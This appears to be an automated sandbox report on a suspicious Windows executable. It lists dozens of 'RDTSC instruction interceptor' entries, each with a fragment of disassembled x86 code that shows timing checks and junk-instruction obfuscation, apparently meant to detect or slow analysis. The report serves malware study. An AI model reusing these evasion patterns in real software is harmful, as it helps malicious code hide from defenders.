Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 30B453 second address: 30B458 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 30B4D1 second address: 30B4FE instructions: 0x00000000 rdtsc 0x00000002 je 00007F95D91784A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ecx 0x0000000b mov dword ptr [esp], eax 0x0000000e mov dword ptr [ebp+122D2078h], eax 0x00000014 push 00000000h 0x00000016 mov dword ptr [ebp+122D1D99h], edi 0x0000001c jng 00007F95D91784A6h 0x00000022 push F0391EA8h 0x00000027 push eax 0x00000028 push edx 0x00000029 push eax 0x0000002a push edx 0x0000002b push ecx 0x0000002c pop ecx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 30B4FE second address: 30B502 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 30B502 second address: 30B508 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 30B508 second address: 30B50D instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 30B50D second address: 30B581 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 add dword ptr [esp], 0FC6E1D8h 0x0000000e jno 00007F95D91784A7h 0x00000014 push 00000003h 0x00000016 jmp 00007F95D91784AEh 0x0000001b push 00000000h 0x0000001d mov dh, 2Ch 0x0000001f push 00000003h 0x00000021 push 00000000h 0x00000023 push ebx 0x00000024 call 00007F95D91784A8h 0x00000029 pop ebx 0x0000002a mov dword ptr [esp+04h], ebx 0x0000002e add dword ptr [esp+04h], 00000016h 0x00000036 inc ebx 0x00000037 push ebx 0x00000038 ret 0x00000039 pop ebx 0x0000003a ret 0x0000003b call 00007F95D91784A9h 0x00000040 push eax 0x00000041 push edx 0x00000042 pushad 0x00000043 jmp 00007F95D91784ACh 0x00000048 jmp 00007F95D91784B2h 0x0000004d popad 0x0000004e rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 30B581 second address: 30B58B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007F95D925B956h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 30B58B second address: 30B599 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 30B599 second address: 30B59D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 30B6C3 second address: 30B6C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 30B6C7 second address: 30B6D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 30B6D1 second address: 30B71F instructions: 0x00000000 rdtsc 0x00000002 ja 00007F95D91784A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push ecx 0x0000000f call 00007F95D91784A8h 0x00000014 pop ecx 0x00000015 mov dword ptr [esp+04h], ecx 0x00000019 add dword ptr [esp+04h], 00000014h 0x00000021 inc ecx 0x00000022 push ecx 0x00000023 ret 0x00000024 pop ecx 0x00000025 ret 0x00000026 push ebx 0x00000027 pop esi 0x00000028 push 00000000h 0x0000002a movsx esi, dx 0x0000002d push C649A48Dh 0x00000032 push eax 0x00000033 push edx 0x00000034 jmp 00007F95D91784B8h 0x00000039 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 30B83F second address: 30B844 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 30B844 second address: 30B8B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push edx 0x0000000d call 00007F95D91784A8h 0x00000012 pop edx 0x00000013 mov dword ptr [esp+04h], edx 0x00000017 add dword ptr [esp+04h], 0000001Dh 0x0000001f inc edx 0x00000020 push edx 0x00000021 ret 0x00000022 pop edx 0x00000023 ret 0x00000024 push eax 0x00000025 mov esi, dword ptr [ebp+122D369Ah] 0x0000002b pop ecx 0x0000002c push 00000000h 0x0000002e push 00000000h 0x00000030 push ecx 0x00000031 call 00007F95D91784A8h 0x00000036 pop ecx 0x00000037 mov dword ptr [esp+04h], ecx 0x0000003b add dword ptr [esp+04h], 0000001Bh 0x00000043 inc ecx 0x00000044 push ecx 0x00000045 ret 0x00000046 pop ecx 0x00000047 ret 0x00000048 sbb dl, 00000071h 0x0000004b call 00007F95D91784A9h 0x00000050 push eax 0x00000051 push edx 0x00000052 pushad 0x00000053 push eax 0x00000054 push edx 0x00000055 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 30B8B1 second address: 30B8B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 30B8B7 second address: 30B8BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 30B8BC second address: 30B8ED instructions: 0x00000000 rdtsc 0x00000002 ja 00007F95D925B958h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e jl 00007F95D925B95Ch 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F95D925B965h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 30B8ED second address: 30B906 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F95D91784ABh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 30B906 second address: 30B91C instructions: 0x00000000 rdtsc 0x00000002 jng 00007F95D925B956h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b mov eax, dword ptr [eax] 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 jc 00007F95D925B956h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 30B91C second address: 30B942 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jns 00007F95D91784A8h 0x0000000c push edx 0x0000000d pop edx 0x0000000e popad 0x0000000f mov dword ptr [esp+04h], eax 0x00000013 push eax 0x00000014 push edx 0x00000015 jnl 00007F95D91784B1h 0x0000001b jmp 00007F95D91784ABh 0x00000020 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 30B942 second address: 30B9D4 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007F95D925B95Bh 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop eax 0x0000000c mov dl, 6Bh 0x0000000e push 00000003h 0x00000010 push 00000000h 0x00000012 push edi 0x00000013 call 00007F95D925B958h 0x00000018 pop edi 0x00000019 mov dword ptr [esp+04h], edi 0x0000001d add dword ptr [esp+04h], 0000001Ch 0x00000025 inc edi 0x00000026 push edi 0x00000027 ret 0x00000028 pop edi 0x00000029 ret 0x0000002a sub ch, 00000011h 0x0000002d push 00000000h 0x0000002f push 00000003h 0x00000031 stc 0x00000032 call 00007F95D925B959h 0x00000037 pushad 0x00000038 push ecx 0x00000039 push eax 0x0000003a pop eax 0x0000003b pop ecx 0x0000003c jnl 00007F95D925B958h 0x00000042 popad 0x00000043 push eax 0x00000044 jmp 00007F95D925B965h 0x00000049 mov eax, dword ptr [esp+04h] 0x0000004d push edi 0x0000004e jmp 00007F95D925B95Dh 0x00000053 pop edi 0x00000054 mov eax, dword ptr [eax] 0x00000056 js 00007F95D925B972h 0x0000005c push eax 0x0000005d push edx 0x0000005e jnl 00007F95D925B956h 0x00000064 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 32B7ED second address: 32B808 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F95D91784B4h 0x00000007 pushad 0x00000008 push edx 0x00000009 pop edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 2ECC02 second address: 2ECC08 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 32A008 second address: 32A010 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 32A010 second address: 32A02B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F95D925B961h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 32A02B second address: 32A04A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F95D91784B5h 0x00000007 push eax 0x00000008 push edx 0x00000009 jnl 00007F95D91784A6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 32A3FB second address: 32A401 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 32A401 second address: 32A409 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 32A58D second address: 32A599 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jo 00007F95D925B956h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 32A80C second address: 32A812 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 32A812 second address: 32A818 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 2EE610 second address: 2EE658 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 pop eax 0x00000006 pushad 0x00000007 jp 00007F95D91784A6h 0x0000000d je 00007F95D91784A6h 0x00000013 jmp 00007F95D91784B7h 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b pushad 0x0000001c jg 00007F95D91784A8h 0x00000022 jp 00007F95D91784AEh 0x00000028 push eax 0x00000029 push edx 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 2EE658 second address: 2EE65C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 32A986 second address: 32A9A6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F95D91784B6h 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 32A9A6 second address: 32A9AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 32A9AA second address: 32A9B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 32B1CE second address: 32B1DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F95D925B95Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 32B1DE second address: 32B1E8 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F95D91784A6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 32B1E8 second address: 32B1F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 32B34B second address: 32B369 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F95D91784B8h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 32B369 second address: 32B38A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F95D925B963h 0x00000007 push esi 0x00000008 pushad 0x00000009 popad 0x0000000a pop esi 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 32B38A second address: 32B38E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 32B38E second address: 32B3A6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F95D925B95Ah 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push esi 0x0000000c jnl 00007F95D925B956h 0x00000012 pop esi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 32B3A6 second address: 32B3B0 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 32B653 second address: 32B659 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 32B659 second address: 32B680 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F95D91784B3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jl 00007F95D91784B0h 0x0000000f jmp 00007F95D91784AAh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 32DC0D second address: 32DC13 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 32DC13 second address: 32DC17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 32DC17 second address: 32DC21 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 32DC21 second address: 32DC25 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 3328F3 second address: 3328F8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 3336AC second address: 3336B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 3336B0 second address: 3336CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edi 0x00000008 pop edi 0x00000009 jmp 00007F95D925B95Ah 0x0000000e popad 0x0000000f popad 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push edi 0x00000014 push esi 0x00000015 pop esi 0x00000016 pop edi 0x00000017 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 3336CC second address: 3336D3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 2F1D83 second address: 2F1D88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 2F1D88 second address: 2F1D92 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007F95D91784A6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 33AAF5 second address: 33AB2D instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F95D925B96Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F95D925B966h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 33AB2D second address: 33AB3B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 33AB3B second address: 33AB3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 33AB3F second address: 33AB47 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 33AB47 second address: 33AB75 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F95D925B961h 0x00000007 pushad 0x00000008 jmp 00007F95D925B962h 0x0000000d jng 00007F95D925B956h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 33ACE7 second address: 33ACFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jne 00007F95D91784AAh 0x0000000b push eax 0x0000000c push edx 0x0000000d push edx 0x0000000e pop edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 33DCD1 second address: 33DCD7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 33DCD7 second address: 33DCDB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 33E263 second address: 33E267 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 33E8C4 second address: 33E8C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 33EA20 second address: 33EA24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 33EA24 second address: 33EA37 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 jbe 00007F95D91784B0h 0x0000000e pushad 0x0000000f push esi 0x00000010 pop esi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 341805 second address: 34180F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007F95D925B956h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 3415A9 second address: 3415AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 34180F second address: 341813 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 3415AF second address: 3415B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 34229C second address: 3422A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 342E9C second address: 342EB1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F95D91784B1h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 342EB1 second address: 342EB5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 3437FC second address: 343811 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F95D91784A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push edi 0x0000000d push eax 0x0000000e push edx 0x0000000f je 00007F95D91784A6h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 343811 second address: 343895 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F95D925B967h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edi 0x0000000a nop 0x0000000b mov di, 016Ah 0x0000000f push 00000000h 0x00000011 mov dword ptr [ebp+124550CBh], esi 0x00000017 push 00000000h 0x00000019 push 00000000h 0x0000001b push ebp 0x0000001c call 00007F95D925B958h 0x00000021 pop ebp 0x00000022 mov dword ptr [esp+04h], ebp 0x00000026 add dword ptr [esp+04h], 0000001Ah 0x0000002e inc ebp 0x0000002f push ebp 0x00000030 ret 0x00000031 pop ebp 0x00000032 ret 0x00000033 mov di, cx 0x00000036 xchg eax, ebx 0x00000037 jg 00007F95D925B95Ah 0x0000003d push eax 0x0000003e pushad 0x0000003f jnc 00007F95D925B95Ch 0x00000045 pushad 0x00000046 jmp 00007F95D925B968h 0x0000004b push eax 0x0000004c push edx 0x0000004d rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 2FDA27 second address: 2FDA3E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F95D91784B3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 2FDA3E second address: 2FDA61 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F95D925B967h 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 2FDA61 second address: 2FDA65 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 2FDA65 second address: 2FDA97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F95D925B964h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 jmp 00007F95D925B961h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 2FDA97 second address: 2FDAB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F95D91784B4h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 345860 second address: 345876 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F95D925B95Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b js 00007F95D925B956h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 34ABBF second address: 34ABD8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F95D91784B5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
